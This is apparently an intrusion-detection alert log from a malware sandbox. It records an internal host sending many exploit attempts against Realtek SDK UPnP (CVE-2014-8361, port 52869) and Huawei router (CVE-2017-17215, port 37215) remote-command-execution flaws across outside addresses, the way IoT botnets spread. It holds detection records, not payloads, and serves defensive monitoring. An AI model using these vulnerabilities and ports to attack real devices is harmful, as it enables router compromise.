07/20/24-23:01:48.187360	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38882	52869	192.168.2.23	118.191.35.155
07/20/24-23:01:11.642449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57406	37215	192.168.2.23	157.87.175.0
07/20/24-23:01:44.706302	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38048	52869	192.168.2.23	107.79.192.172
07/20/24-23:01:04.098080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33920	37215	192.168.2.23	187.182.184.30
07/20/24-23:01:44.318262	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44880	52869	192.168.2.23	223.217.31.58
07/20/24-23:01:31.314147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47166	52869	192.168.2.23	136.18.44.19
07/20/24-23:01:45.511523	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49878	52869	192.168.2.23	113.71.166.108
07/20/24-23:01:47.943232	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50526	52869	192.168.2.23	108.46.15.204
07/20/24-23:01:46.462339	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41534	52869	192.168.2.23	125.67.244.75
07/20/24-23:01:08.572556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44650	52869	192.168.2.23	64.43.73.86
07/20/24-23:01:31.320338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41898	52869	192.168.2.23	199.241.141.173
07/20/24-23:01:24.877747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48176	37215	192.168.2.23	191.115.236.117
07/20/24-23:01:43.020186	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40860	52869	192.168.2.23	32.76.174.48
07/20/24-23:01:11.631549	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35868	37215	192.168.2.23	197.11.75.129
07/20/24-23:01:27.725851	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57548	37215	192.168.2.23	197.43.142.84
07/20/24-23:01:31.322288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34440	52869	192.168.2.23	40.226.47.93
07/20/24-23:02:14.779973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52536	52869	192.168.2.23	167.89.14.43
07/20/24-23:01:03.286497	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34874	52869	192.168.2.23	134.167.171.74
07/20/24-23:01:56.378726	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40432	52869	192.168.2.23	175.65.204.131
07/20/24-23:01:34.043784	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57248	37215	192.168.2.23	41.76.96.139
07/20/24-23:00:57.221338	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59124	37215	192.168.2.23	157.236.245.35
07/20/24-23:00:59.168569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58398	37215	192.168.2.23	197.247.106.185
07/20/24-23:01:42.111275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54216	52869	192.168.2.23	142.105.178.104
07/20/24-23:00:57.221803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36746	37215	192.168.2.23	41.173.160.14
07/20/24-23:01:14.090830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59924	37215	192.168.2.23	197.128.170.53
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41766	37215	192.168.2.23	157.151.81.4
07/20/24-23:01:43.951862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60714	52869	192.168.2.23	115.59.47.171
07/20/24-23:01:46.069088	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40866	52869	192.168.2.23	65.170.62.168
07/20/24-23:00:57.222129	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40802	37215	192.168.2.23	41.157.99.54
07/20/24-23:01:41.443693	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48548	52869	192.168.2.23	132.180.52.133
07/20/24-23:01:07.016889	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55088	37215	192.168.2.23	62.123.128.166
07/20/24-23:01:11.816101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57656	37215	192.168.2.23	41.176.109.210
07/20/24-23:01:20.593003	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44018	52869	192.168.2.23	51.20.137.216
07/20/24-23:01:20.098209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37260	37215	192.168.2.23	197.242.27.50
07/20/24-23:01:44.963815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58050	52869	192.168.2.23	132.247.218.225
07/20/24-23:01:31.320338	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57134	52869	192.168.2.23	40.231.162.161
07/20/24-23:01:52.820390	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54914	52869	192.168.2.23	158.140.216.184
07/20/24-23:01:41.417573	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48124	52869	192.168.2.23	2.228.92.40
07/20/24-23:01:43.474436	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54350	52869	192.168.2.23	133.125.214.226
07/20/24-23:01:20.600303	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51466	52869	192.168.2.23	154.103.167.31
07/20/24-23:01:44.449742	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43924	52869	192.168.2.23	213.118.6.220
07/20/24-23:01:47.159758	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44832	52869	192.168.2.23	93.0.10.232
07/20/24-23:01:49.836373	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33954	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:12.807585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42052	52869	192.168.2.23	72.182.219.141
07/20/24-23:01:01.367078	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48042	52869	192.168.2.23	54.250.134.170
07/20/24-23:01:45.078068	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46562	52869	192.168.2.23	17.182.173.35
07/20/24-23:01:53.735607	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39890	52869	192.168.2.23	39.212.80.61
07/20/24-23:01:45.414030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56814	52869	192.168.2.23	53.132.125.29
07/20/24-23:01:02.048214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35414	37215	192.168.2.23	76.17.111.28
07/20/24-23:01:24.862410	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44920	37215	192.168.2.23	157.206.47.33
07/20/24-23:01:20.132511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51462	37215	192.168.2.23	197.55.179.247
07/20/24-23:01:21.951975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46354	37215	192.168.2.23	113.91.21.81
07/20/24-23:01:50.107973	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45408	52869	192.168.2.23	138.90.100.113
07/20/24-23:01:31.974837	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37210	37215	192.168.2.23	41.105.201.33
07/20/24-23:01:52.582295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37508	52869	192.168.2.23	140.201.238.135
07/20/24-23:01:40.349275	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55334	37215	192.168.2.23	24.27.124.225
07/20/24-23:01:59.938491	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41506	52869	192.168.2.23	120.69.102.249
07/20/24-23:01:27.664606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51336	37215	192.168.2.23	197.45.164.41
07/20/24-23:01:26.151841	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58956	52869	192.168.2.23	213.157.19.102
07/20/24-23:01:08.567236	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57370	52869	192.168.2.23	151.5.114.8
07/20/24-23:01:11.822392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55546	37215	192.168.2.23	197.245.180.182
07/20/24-23:01:44.894920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56832	52869	192.168.2.23	149.227.25.96
07/20/24-23:01:55.359808	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39022	52869	192.168.2.23	151.217.152.189
07/20/24-23:01:34.048618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43842	37215	192.168.2.23	157.5.66.172
07/20/24-23:01:01.410784	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49602	52869	192.168.2.23	114.57.93.253
07/20/24-23:01:31.982801	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37172	37215	192.168.2.23	115.205.119.137
07/20/24-23:01:02.259642	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52638	52869	192.168.2.23	123.42.160.177
07/20/24-23:01:02.762457	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40778	52869	192.168.2.23	104.152.150.214
07/20/24-23:01:42.912947	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32852	52869	192.168.2.23	131.104.254.70
07/20/24-23:01:45.134490	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56872	52869	192.168.2.23	67.228.135.229
07/20/24-23:02:06.767377	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42954	52869	192.168.2.23	53.5.161.227
07/20/24-23:01:07.005156	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60556	37215	192.168.2.23	197.121.20.109
07/20/24-23:01:08.594120	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43500	52869	192.168.2.23	173.195.200.196
07/20/24-23:01:42.555718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35216	52869	192.168.2.23	165.210.119.115
07/20/24-23:01:43.555329	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58004	52869	192.168.2.23	45.244.207.174
07/20/24-23:01:42.778817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40746	52869	192.168.2.23	138.229.180.34
07/20/24-23:01:00.641498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47806	37215	192.168.2.23	157.143.234.224
07/20/24-23:01:25.472685	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58500	52869	192.168.2.23	59.21.137.98
07/20/24-23:01:47.931025	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40976	52869	192.168.2.23	58.31.233.114
07/20/24-23:01:47.892814	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53108	52869	192.168.2.23	150.181.137.93
07/20/24-23:01:42.499887	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33130	52869	192.168.2.23	220.112.19.15
07/20/24-23:01:40.296076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45744	37215	192.168.2.23	41.95.125.239
07/20/24-23:01:25.302531	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49410	52869	192.168.2.23	125.53.48.130
07/20/24-23:01:47.807536	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48546	52869	192.168.2.23	142.206.118.182
07/20/24-23:01:58.249114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51848	52869	192.168.2.23	40.172.192.128
07/20/24-23:01:08.585790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54006	52869	192.168.2.23	63.150.57.125
07/20/24-23:01:32.039718	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33136	37215	192.168.2.23	41.217.132.133
07/20/24-23:01:12.807585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55898	52869	192.168.2.23	85.213.237.39
07/20/24-23:01:43.571815	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57584	52869	192.168.2.23	157.210.162.125
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51914	37215	192.168.2.23	197.182.114.212
07/20/24-23:01:08.683684	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37206	52869	192.168.2.23	172.97.184.195
07/20/24-23:01:46.893328	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45904	52869	192.168.2.23	47.141.1.52
07/20/24-23:01:51.562834	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53128	52869	192.168.2.23	157.184.119.75
07/20/24-23:01:44.700808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36296	52869	192.168.2.23	103.218.156.193
07/20/24-23:01:12.807274	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55108	52869	192.168.2.23	190.111.169.67
07/20/24-23:01:49.172806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54868	52869	192.168.2.23	89.142.100.244
07/20/24-23:01:42.664220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59234	52869	192.168.2.23	48.9.123.124
07/20/24-23:01:11.028341	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52050	52869	192.168.2.23	223.86.47.43
07/20/24-23:01:42.632446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53810	52869	192.168.2.23	189.193.210.39
07/20/24-23:01:53.356560	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51592	52869	192.168.2.23	189.124.57.3
07/20/24-23:01:31.978142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58734	37215	192.168.2.23	197.153.118.82
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36520	37215	192.168.2.23	197.12.118.206
07/20/24-23:01:47.749865	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59638	52869	192.168.2.23	210.80.122.96
07/20/24-23:01:08.677485	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57276	52869	192.168.2.23	111.252.253.89
07/20/24-23:01:31.974837	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39248	37215	192.168.2.23	110.11.201.127
07/20/24-23:02:09.668312	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56908	52869	192.168.2.23	146.174.220.5
07/20/24-23:01:31.326982	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48746	52869	192.168.2.23	120.48.178.89
07/20/24-23:01:02.854348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42622	52869	192.168.2.23	181.219.175.178
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53880	37215	192.168.2.23	197.122.165.99
07/20/24-23:01:27.650871	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56940	37215	192.168.2.23	157.96.159.120
07/20/24-23:01:11.816101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39610	37215	192.168.2.23	41.178.44.73
07/20/24-23:01:08.599362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51788	52869	192.168.2.23	193.7.32.204
07/20/24-23:01:31.312311	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49010	52869	192.168.2.23	162.229.91.161
07/20/24-23:01:43.173843	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47334	52869	192.168.2.23	129.145.211.206
07/20/24-23:01:31.311885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47082	52869	192.168.2.23	146.31.217.81
07/20/24-23:01:40.275256	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42886	37215	192.168.2.23	41.212.252.187
07/20/24-23:01:42.507489	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34838	52869	192.168.2.23	216.159.45.191
07/20/24-23:01:40.323034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35098	37215	192.168.2.23	157.22.220.5
07/20/24-23:01:04.230950	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45392	37215	192.168.2.23	41.83.34.135
07/20/24-23:01:42.093693	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38192	52869	192.168.2.23	163.215.30.136
07/20/24-23:01:47.163877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47156	52869	192.168.2.23	187.174.160.150
07/20/24-23:01:45.414030	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55036	52869	192.168.2.23	118.151.178.3
07/20/24-23:01:48.161610	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60168	52869	192.168.2.23	98.169.154.123
07/20/24-23:01:42.790680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54812	52869	192.168.2.23	188.20.150.72
07/20/24-23:01:43.903732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34390	52869	192.168.2.23	178.242.0.237
07/20/24-23:01:02.054387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44574	37215	192.168.2.23	41.45.210.158
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46260	37215	192.168.2.23	157.234.41.166
07/20/24-23:01:45.648154	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54326	52869	192.168.2.23	149.78.178.94
07/20/24-23:02:04.022245	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48240	52869	192.168.2.23	213.105.77.79
07/20/24-23:01:31.975330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41040	37215	192.168.2.23	197.180.73.227
07/20/24-23:02:00.709103	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44902	52869	192.168.2.23	67.25.105.249
07/20/24-23:01:40.322860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37002	37215	192.168.2.23	197.197.135.105
07/20/24-23:01:14.060998	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53858	37215	192.168.2.23	113.162.26.155
07/20/24-23:01:04.142086	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57262	52869	192.168.2.23	175.24.153.194
07/20/24-23:01:14.105908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50158	37215	192.168.2.23	41.59.235.147
07/20/24-23:01:14.111381	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59232	37215	192.168.2.23	64.60.172.121
07/20/24-23:01:27.654173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42294	37215	192.168.2.23	126.201.61.171
07/20/24-23:01:47.693711	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50610	52869	192.168.2.23	203.201.27.61
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45278	37215	192.168.2.23	197.222.87.125
07/20/24-23:01:53.122466	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53464	52869	192.168.2.23	81.50.220.234
07/20/24-23:02:04.133788	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58818	52869	192.168.2.23	83.234.152.115
07/20/24-23:01:34.044538	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39770	37215	192.168.2.23	72.130.195.64
07/20/24-23:01:46.159165	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43160	52869	192.168.2.23	172.42.36.143
07/20/24-23:01:46.220244	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37292	52869	192.168.2.23	117.120.22.241
07/20/24-23:01:57.943877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50128	52869	192.168.2.23	103.180.88.194
07/20/24-23:01:44.484644	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51464	52869	192.168.2.23	99.207.71.238
07/20/24-23:01:42.165780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44556	52869	192.168.2.23	59.109.143.129
07/20/24-23:01:06.975117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51316	37215	192.168.2.23	41.211.71.10
07/20/24-23:01:11.822392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42414	37215	192.168.2.23	157.93.68.27
07/20/24-23:01:53.420758	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59858	52869	192.168.2.23	72.136.42.217
07/20/24-23:01:46.439689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48834	52869	192.168.2.23	129.145.211.206
07/20/24-23:01:06.994337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36820	37215	192.168.2.23	197.179.239.59
07/20/24-23:01:08.667512	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58964	52869	192.168.2.23	107.75.193.125
07/20/24-23:01:01.521998	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41562	52869	192.168.2.23	157.99.82.194
07/20/24-23:01:55.802130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49964	52869	192.168.2.23	69.58.59.239
07/20/24-23:01:08.582150	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37226	52869	192.168.2.23	171.201.20.41
07/20/24-23:01:27.650975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41132	37215	192.168.2.23	123.227.180.114
07/20/24-23:01:14.090830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55006	37215	192.168.2.23	141.121.89.226
07/20/24-23:01:20.149798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47014	37215	192.168.2.23	19.58.9.63
07/20/24-23:01:41.315380	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47042	52869	192.168.2.23	163.212.66.23
07/20/24-23:02:12.085791	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37886	52869	192.168.2.23	117.32.81.72
07/20/24-23:01:14.117066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46970	37215	192.168.2.23	147.3.130.23
07/20/24-23:00:57.221338	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47982	37215	192.168.2.23	197.32.17.115
07/20/24-23:01:42.010169	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42946	52869	192.168.2.23	190.248.52.121
07/20/24-23:01:58.001186	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43662	52869	192.168.2.23	130.165.149.247
07/20/24-23:01:41.298259	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59392	52869	192.168.2.23	49.57.98.237
07/20/24-23:00:59.213564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60464	37215	192.168.2.23	41.189.194.244
07/20/24-23:01:51.290015	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45152	52869	192.168.2.23	138.90.100.113
07/20/24-23:01:44.392836	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56896	52869	192.168.2.23	94.208.23.95
07/20/24-23:01:43.096223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56734	52869	192.168.2.23	170.47.68.177
07/20/24-23:01:51.956762	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42524	52869	192.168.2.23	164.23.204.131
